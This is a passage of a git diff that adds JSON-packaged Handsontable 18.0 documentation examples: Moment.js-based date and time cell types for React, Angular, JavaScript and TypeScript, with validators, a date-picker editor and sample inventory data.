hotOptions);","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".ht_editor_visible > input {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n margin-top: -1px;\n margin-left: -1px;\n box-shadow: inset 0 0 0 var(--ht-cell-editor-border-width, 2px)\n var(--ht-cell-editor-border-color, #1a42e8),\n 0 0 var(--ht-cell-editor-shadow-blur-radius, 0) 0\n var(--ht-cell-editor-shadow-color, transparent) !important;\n background-color: var(--ht-cell-editor-background-color, #ffffff) !important;\n padding: var(--ht-cell-vertical-padding, 4px)\n var(--ht-cell-horizontal-padding, 8px) !important;\n border: none !important;\n font-family: inherit;\n font-size: var(--ht-font-size);\n line-height: var(--ht-line-height);\n}\n.ht_editor_visible > input:focus-visible {\n border: none !important;\n outline: none !important;\n}"},"docsPath":"recipes/cell-types/moment-date/javascript/example1.ts","breadcrumb":["Recipes","Cell Types","Moment.js-based date"],"guide":"recipes/cell-types/moment-date/moment-date.md","guideTitle":"Moment.js-based date","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/moment-date","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__react__example1.tsx.json new file mode 100644 index 00000000..e0f3a26a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Recipes ▸ Cell Types ▸ Moment.js-based date · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"moment\": \"2.30.1\",\n \"@handsontable/pikaday\": \"1.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { getRenderer } from 'handsontable/renderers';\nimport { editorFactory } from 'handsontable/editors';\nimport { registerCellType } from 'handsontable/cellTypes';\nimport moment from 'moment';\nimport Pikaday from '@handsontable/pikaday';\nimport Handsontable from 'handsontable/base';\nimport './example1.css';\n\nregisterAllModules();\n\ninterface MomentDateEditorInstance {\n parentDestroyed: boolean;\n input: HTMLInputElement;\n datePicker: HTMLElement;\n pikaday: Pikaday;\n}\n\nconst correctFormat = (value: string, dateFormat: string): string => {\n const dateFromDate = moment(value);\n const dateFromMoment = moment(value, dateFormat);\n const isAlphanumeric = value.search(/[A-Za-z]/g) > -1;\n let date;\n\n if (\n (dateFromDate.isValid() && dateFromDate.format('x') === dateFromMoment.format('x')) ||\n !dateFromMoment.isValid() ||\n isAlphanumeric\n ) {\n date = dateFromDate;\n } else {\n date = dateFromMoment;\n }\n\n return date.format(dateFormat);\n};\n\nconst cellDateTypeDefinition = {\n renderer: getRenderer('text'),\n validator(this: any, value: string, callback: (valid: boolean) => void) {\n let valid = true;\n\n if (value === null || value === undefined) {\n value = '';\n }\n\n let isValidFormat = moment(value, this.dateFormat, true).isValid();\n let isValidDate = moment(new Date(value)).isValid() || isValidFormat;\n\n if (this.allowEmpty && value === '') {\n isValidDate = true;\n isValidFormat = true;\n }\n\n if (!isValidDate) {\n valid = false;\n }\n\n if (!isValidDate && isValidFormat) {\n valid = true;\n }\n\n if (isValidDate && !isValidFormat) {\n if (this.correctFormat === true) {\n const correctedValue = correctFormat(value, this.dateFormat);\n\n this.instance.setDataAtCell(this.visualRow, this.visualCol, correctedValue, 'dateValidator');\n valid = true;\n } else {\n valid = false;\n }\n }\n\n callback(valid);\n },\n editor: editorFactory({\n position: 'portal',\n shortcuts: [\n {\n keys: [['ArrowLeft']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('subtract', 1);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowRight']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('add', 1);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowUp']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('subtract', 7);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowDown']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('add', 7);\n _event.preventDefault();\n },\n },\n ],\n init(editor) {\n editor.parentDestroyed = false;\n editor.input = editor.hot.rootDocument.createElement('input') as HTMLInputElement;\n editor.datePicker = editor.container;\n editor.hot.rootDocument.addEventListener('mousedown', (event: MouseEvent) => {\n const target = event.target as Element;\n\n if (target && target.classList.contains('pika-day')) {\n editor.hideDatepicker(editor);\n }\n });\n },\n getDatePickerConfig(editor: any) {\n const htInput = editor.input;\n const options: Record = {};\n\n if (editor.cellProperties && editor.cellProperties.datePickerConfig) {\n Object.assign(options, editor.cellProperties.datePickerConfig);\n }\n\n const origOnSelect = options.onSelect;\n const origOnClose = options.onClose;\n\n options.field = htInput;\n options.trigger = htInput;\n options.container = editor.datePicker;\n options.bound = false;\n options.keyboardInput = false;\n options.format = options.format ?? editor.getDateFormat(editor);\n options.reposition = options.reposition || false;\n options.isRTL = false;\n options.onSelect = function (date: Date) {\n let dateStr: string | undefined;\n\n if (!isNaN(date.getTime())) {\n dateStr = moment(date).format(editor.getDateFormat(editor));\n }\n\n editor.setValue(dateStr);\n\n if (origOnSelect) {\n origOnSelect.call(editor.pikaday, date);\n }\n\n if (Handsontable.helper.isMobileBrowser()) {\n editor.hideDatepicker(editor);\n }\n };\n options.onClose = () => {\n if (!editor.parentDestroyed) {\n editor.finishEditing(false);\n }\n\n if (origOnClose) {\n origOnClose();\n }\n };\n\n return options;\n },\n hideDatepicker(editor: any) {\n editor.pikaday.hide();\n },\n showDatepicker(editor: any, event: Event) {\n const dateFormat = editor.getDateFormat(editor);\n // @ts-ignore\n const isMouseDown = editor.hot.view.isMouseDown();\n const isMeta =\n event && 'keyCode' in event ? Handsontable.helper.isFunctionKey((event as KeyboardEvent).keyCode) : false;\n let dateStr: string;\n\n editor.datePicker.style.display = 'block';\n editor.pikaday = new Pikaday(editor.getDatePickerConfig(editor));\n\n // @ts-ignore\n if (typeof editor.pikaday.useMoment === 'function') {\n // @ts-ignore\n editor.pikaday.useMoment(moment);\n }\n\n // @ts-ignore\n editor.pikaday._onInputFocus = function () {};\n\n if (editor.originalValue) {\n dateStr = editor.originalValue;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pikaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n if (editor.getValue() !== editor.originalValue) {\n editor.setValue(editor.originalValue);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue('');\n }\n } else if (editor.cellProperties.defaultDate) {\n dateStr = editor.cellProperties.defaultDate;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pikaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue('');\n }\n } else {\n editor.pikaday.gotoToday();\n }\n },\n afterClose(editor: any) {\n if (editor.pikaday.destroy) {\n editor.pikaday.destroy();\n }\n },\n afterOpen(editor: any, event: Event) {\n const cellRect = editor.TD.getBoundingClientRect();\n\n editor.input.style.width = `${cellRect.width}px`;\n editor.input.style.height = `${cellRect.height}px`;\n editor.showDatepicker(editor, event);\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n },\n getDateFormat(editor: any): string {\n return editor.cellProperties.dateFormat ?? 'DD/MM/YYYY';\n },\n }),\n};\n\nregisterCellType('moment-date', cellDateTypeDefinition);\n\n/* start:skip-in-preview */\ninterface InventoryItem {\n id: number;\n itemName: string;\n itemNo: string;\n leadEngineer: string;\n cost: number;\n inStock: boolean;\n category: string;\n itemQuality: number;\n origin: string;\n quantity: number;\n valueStock: number;\n repairable: boolean;\n supplierName: string;\n restockDate: string;\n operationalStatus: string;\n}\n\nconst data: InventoryItem[] = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n];\n/* end:skip-in-preview */\n\nconst ExampleComponent = () => {\n return (\n \n \n \n \n \n \n \n );\n};\n\nexport default ExampleComponent;","/src/example1.css":".ht_editor_visible > input {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n margin-top: -1px;\n margin-left: -1px;\n box-shadow: inset 0 0 0 var(--ht-cell-editor-border-width, 2px)\n var(--ht-cell-editor-border-color, #1a42e8),\n 0 0 var(--ht-cell-editor-shadow-blur-radius, 0) 0\n var(--ht-cell-editor-shadow-color, transparent) !important;\n background-color: var(--ht-cell-editor-background-color, #ffffff) !important;\n padding: var(--ht-cell-vertical-padding, 4px)\n var(--ht-cell-horizontal-padding, 8px) !important;\n border: none !important;\n font-family: inherit;\n font-size: var(--ht-font-size);\n line-height: var(--ht-line-height);\n}\n.ht_editor_visible > input:focus-visible {\n border: none !important;\n outline: none !important;\n}"},"docsPath":"recipes/cell-types/moment-date/react/example1.tsx","breadcrumb":["Recipes","Cell Types","Moment.js-based date"],"guide":"recipes/cell-types/moment-date/moment-date.md","guideTitle":"Moment.js-based date","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/moment-date","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__angular__example1.ts.json new file mode 100644 index 00000000..72f5b713 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Cell Types ▸ Moment.js-based time · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"moment\": \"2.30.1\"\n },\n \"devDependencies\": {\n \"@types/moment\": \"2.13.0\"\n }\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport moment from 'moment';\nimport { getRenderer } from 'handsontable/renderers';\nimport { getEditor } from 'handsontable/editors';\nimport { registerCellType } from 'handsontable/cellTypes';\n\nconst cellTimeTypeDefinition = {\n CELL_TYPE: 'moment-time',\n renderer: getRenderer('text'),\n validator(this: any, value: any, callback: (valid: boolean) => void): void {\n const timeFormat = this.timeFormat ?? 'h:mm:ss a';\n let valid = true;\n\n if (value === null) {\n value = '';\n }\n\n value = /^\\d{3,}$/.test(value) ? parseInt(value, 10) : value;\n\n const twoDigitValue = /^\\d{1,2}$/.test(value);\n\n if (twoDigitValue) {\n value += ':00';\n }\n\n const date = moment(\n value,\n ['YYYY-MM-DDTHH:mm:ss.SSSZ', 'X', 'x'],\n true\n ).isValid()\n ? moment(value)\n : moment(value, timeFormat);\n\n let isValidTime = date.isValid();\n let isValidFormat = moment(value, timeFormat, true).isValid() && !twoDigitValue;\n\n if (this.allowEmpty && value === '') {\n isValidTime = true;\n isValidFormat = true;\n }\n\n if (!isValidTime) {\n valid = false;\n }\n\n if (!isValidTime && isValidFormat) {\n valid = true;\n }\n\n if (isValidTime && !isValidFormat) {\n if (this.correctFormat === true) {\n const correctedValue = date.format(timeFormat);\n\n this.instance.setDataAtCell(this.visualRow, this.visualCol, correctedValue, 'timeValidator');\n valid = true;\n } else {\n valid = false;\n }\n }\n\n callback(valid);\n },\n editor: getEditor('text'),\n};\n\nregisterCellType('moment-time', cellTimeTypeDefinition);\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example1-moment-time',\n template: `
    `,\n})\nexport class AppComponent {\n readonly data = [\n {\n itemName: 'Lunar Core',\n category: 'Lander',\n leadEngineer: 'Ellen Ripley',\n time: '09:30',\n cost: 350000,\n },\n {\n itemName: 'Zero Thrusters',\n category: 'Propulsion',\n leadEngineer: 'Sam Bell',\n time: '14:15',\n cost: 450000,\n },\n {\n itemName: 'EVA Suits',\n category: 'Equipment',\n leadEngineer: 'Alex Rogan',\n time: '08:00',\n cost: 150000,\n },\n {\n itemName: 'Solar Panels',\n category: 'Energy',\n leadEngineer: 'Dave Bowman',\n time: '16:45',\n cost: 75000,\n },\n {\n itemName: 'Comm Array',\n category: 'Communication',\n leadEngineer: 'Louise Banks',\n time: '11:20',\n cost: 125000,\n },\n {\n itemName: 'Habitat Dome',\n category: 'Shelter',\n leadEngineer: 'Dr. Ryan Stone',\n time: '23:00',\n cost: 1000000,\n },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Arrival Time', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'time',\n type: 'moment-time' as any,\n width: 150,\n timeFormat: 'HH:mm',\n correctFormat: true,\n } as any,\n {\n data: 'cost',\n type: 'numeric',\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"recipes/cell-types/moment-time/angular/example1.ts","breadcrumb":["Recipes","Cell Types","Moment.js-based time"],"guide":"recipes/cell-types/moment-time/moment-time.md","guideTitle":"Moment.js-based time","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/moment-time","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__javascript__example1.js.json new file mode 100644 index 00000000..fa355f1d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Recipes ▸ Cell Types ▸ Moment.js-based time · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"moment\": \"2.30.1\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { getRenderer } from 'handsontable/renderers';\nimport { getEditor } from 'handsontable/editors';\nimport { registerCellType } from 'handsontable/cellTypes';\nimport moment from 'moment';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\nconst data = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n time: '09:30',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n time: '14:15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n time: '08:00',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n time: '16:45',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n time: '11:20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n time: '23:00',\n operationalStatus: 'Operational',\n },\n];\n\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1');\nconst cellTimeTypeDefinition = {\n renderer: getRenderer('text'),\n validator(value, callback) {\n const timeFormat = this.timeFormat ?? 'h:mm:ss a';\n let valid = true;\n\n if (value === null) {\n value = '';\n }\n\n value = /^\\d{3,}$/.test(value) ? parseInt(value, 10) : value;\n\n const twoDigitValue = /^\\d{1,2}$/.test(value);\n\n if (twoDigitValue) {\n value += ':00';\n }\n\n const date = moment(\n value,\n [\n 'YYYY-MM-DDTHH:mm:ss.SSSZ',\n 'X',\n 'x', // Unix ms timestamp\n ],\n true\n ).isValid()\n ? moment(value)\n : moment(value, timeFormat);\n\n let isValidTime = date.isValid();\n // is it in the specified format\n let isValidFormat = moment(value, timeFormat, true).isValid() && !twoDigitValue;\n\n if (this.allowEmpty && value === '') {\n isValidTime = true;\n isValidFormat = true;\n }\n\n if (!isValidTime) {\n valid = false;\n }\n\n if (!isValidTime && isValidFormat) {\n valid = true;\n }\n\n if (isValidTime && !isValidFormat) {\n if (this.correctFormat === true) {\n const correctedValue = date.format(timeFormat);\n\n this.instance.setDataAtCell(this.visualRow, this.visualCol, correctedValue, 'timeValidator');\n valid = true;\n } else {\n valid = false;\n }\n }\n\n callback(valid);\n },\n editor: getEditor('text'),\n};\n\nregisterCellType('moment-time', cellTimeTypeDefinition);\n\n// Define configuration options for the Handsontable\nconst hotOptions = {\n data,\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Arrival Time', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'time',\n type: 'moment-time',\n width: 150,\n timeFormat: 'HH:mm',\n correctFormat: true,\n },\n {\n data: 'cost',\n type: 'numeric',\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n },\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.js":"import \"../index.js\";"},"docsPath":"recipes/cell-types/moment-time/javascript/example1.js","breadcrumb":["Recipes","Cell Types","Moment.js-based time"],"guide":"recipes/cell-types/moment-time/moment-time.md","guideTitle":"Moment.js-based time","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/moment-time","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__javascript__example1.ts.json new file mode 100644 index 00000000..0dbe0b77 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Recipes ▸ Cell Types ▸ Moment.js-based time · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"moment\": \"2.30.1\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
